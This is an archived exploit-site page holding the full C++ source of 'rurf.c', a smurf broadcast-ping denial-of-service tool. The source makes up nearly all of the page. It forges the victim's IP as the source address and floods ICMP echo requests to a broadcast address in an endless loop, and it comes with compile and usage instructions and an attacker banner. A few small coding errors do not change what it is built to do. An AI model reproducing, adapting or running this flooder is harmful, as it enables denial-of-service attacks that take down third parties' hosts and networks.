what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

rurf.c

rurf.c
Posted Aug 19, 2001
Site netflood.net

Rurf.c is a broadcast ping (smurf) dos attack.

tags | denial of service
SHA-256 | 2cf90df5949d53884dab52db0eac00955755938da4819131e322410cb1c210a4

rurf.c

Change Mirror Download
/* Rooty's Broadcast Flooder -Aka."rurf"
* Rooty@netflood.net
* http://www.netflood.net
* "We Won't Waste Your Time."
* To compile: g++ -o rurf rurf.c
* Usage: ./rurf <Victim IP> <broadcast address>
*/

#include <netdb.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <netinet/ip_icmp.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <iostream.h>
#include <sys/types.h>
#include <unistd.h>

unsigned short in_checksum(unsigned short*,int );
void counter(unsigned int);
void banner(void);


void main(int argc,char **argv)
{
banner();

int sockfd;
const int on = 1;
int datalen, packlen, targetlen;
datalen = 0;

char *targetip;
char *broadcastip;

char readbuffer[1500];
char sendbuffer[1500];

struct sockaddr_in broadcast,target;

struct iphdr *ipheader;
struct icmp *icmpheader;

if(argc != 3)
{
cout<<"\n\nbash#./rurf <Target> <Broadcast>\n\n";
return 0;
}

if((sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
cout<<"\n\n Are you root?\n\n";
return 0;
}

setsockopt(sockfd, SOL_SOCKET, SO_BROADCAST, &on, sizeof(on));

broadcastip = argv[2];
targetip= argv[1];

broadcast.sin_family = AF_INET;
broadcast.sin_family = htons(0);
if(inet_pton(AF_INET, broadcastip, &broadcast.sin_addr) <= 0)
{
cout<<"\n\nFehler: inet_pton() broadcastip\n\n";
return 0;
}
if(inet_pton(AF_INET, targetip, &target.sin_addr) <= 0)
{
cout<<"\n\nFehler: inet_pton() targetip\n\n";
return 0;
}

ipheader = (struct iphdr *)sendbuffer;
icmpheader = (struct icmp *) (sendbuffer + sizeof(struct iphdr));

ipheader->ihl = 5;
ipheader->version = 4;
ipheader->tos = 0;
ipheader->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmp) +
datalen);
ipheader->id = 0;
ipheader->frag_off = 0;
ipheader->ttl = 200;
ipheader->protocol = IPPROTO_ICMP;
ipheader->check = in_checksum( (u_short *)ipheader, sizeof(struct iphdr));
ipheader->saddr = target.sin_addr.s_addr;
ipheader->daddr = broadcast.sin_addr.s_addr;


cout<<"\n\nPing from "<<argv[1]<<" to the broadcast "<<argv[2]<<" are sent";
cout<<"\nPings: ";
cout<<"0000000000";

for(unsigned int i= 0;;i++)
{
icmpheader->icmp_type = ICMP_ECHO;
icmpheader->icmp_code = 0;
icmpheader->icmp_seq = i;
icmpheader->icmp_cksum = in_checksum( (u_short *)icmpheader,
sizeof(struct icmp) + datalen);


sendto(sockfd,sendbuffer,sizeof(struct iphdr) + sizeof(struct icmphdr)
+ datalen,0,(struct sockaddr *)&broadcast,sizeof(struct sockaddr));
counter(i);

}
cout<<"\n";
return 0;
}

unsigned short in_checksum(unsigned short *addr,int len )
{

int nleft = len;
int sum = 0;
unsigned short *w = addr;
unsigned short answer = 0;

while(nleft > 1 )
{
sum += *w++;
nleft -= 2;
}

if (nleft == 1)
{
*(unsigned char *) (&answer) = *(unsigned char *) w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >>16);
answer = -sum;
return (answer);
}

void banner(void)
{
cout<<"\n#####################################";
cout<<"\n# Rooty's Broadcast Flooder (Smurf) #";
cout<<"\n# http://www.netflood.net #";
cout<<"\n# We won't waste your time #";
cout<<"\n# Rooty@netflood.net #";
cout<<"\n#####################################";
}

void counter(unsigned int i)
{

if(i < 10)
{
cout<<'\b';
}
if(i >= 10 && i < 100)
{
cout<<"\b\b";
}
if(i >= 100 && i < 1000)
{
cout<<"\b\b\b";
}
if(i >= 1000 && i < 10000)
{
cout<<"\b\b\b\b";
}
if(i >= 10000 && i < 100000)
{
cout<<"\b\b\b\b\b";
}
if(i >= 100000 && i < 1000000)
{
cout<<"\b\b\b\b\b\b";
}
if(i >= 1000000 && i < 10000000)
{
cout<<"\b\b\b\b\b\b";
}
if(i >= 10000000 && i < 100000000)
{
cout<<"\b\b\b\b\b\b\b";
}
if(i >= 100000000 && i < 1000000000)
{
cout<<i;
}
if(i >= 1000000000 )
{
cout<<"\b\b\b\b\b\b\b\b";
}
cout<<i;
}





Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    17 Files
  • 8
    Oct 8th
    66 Files
  • 9
    Oct 9th
    25 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    21 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close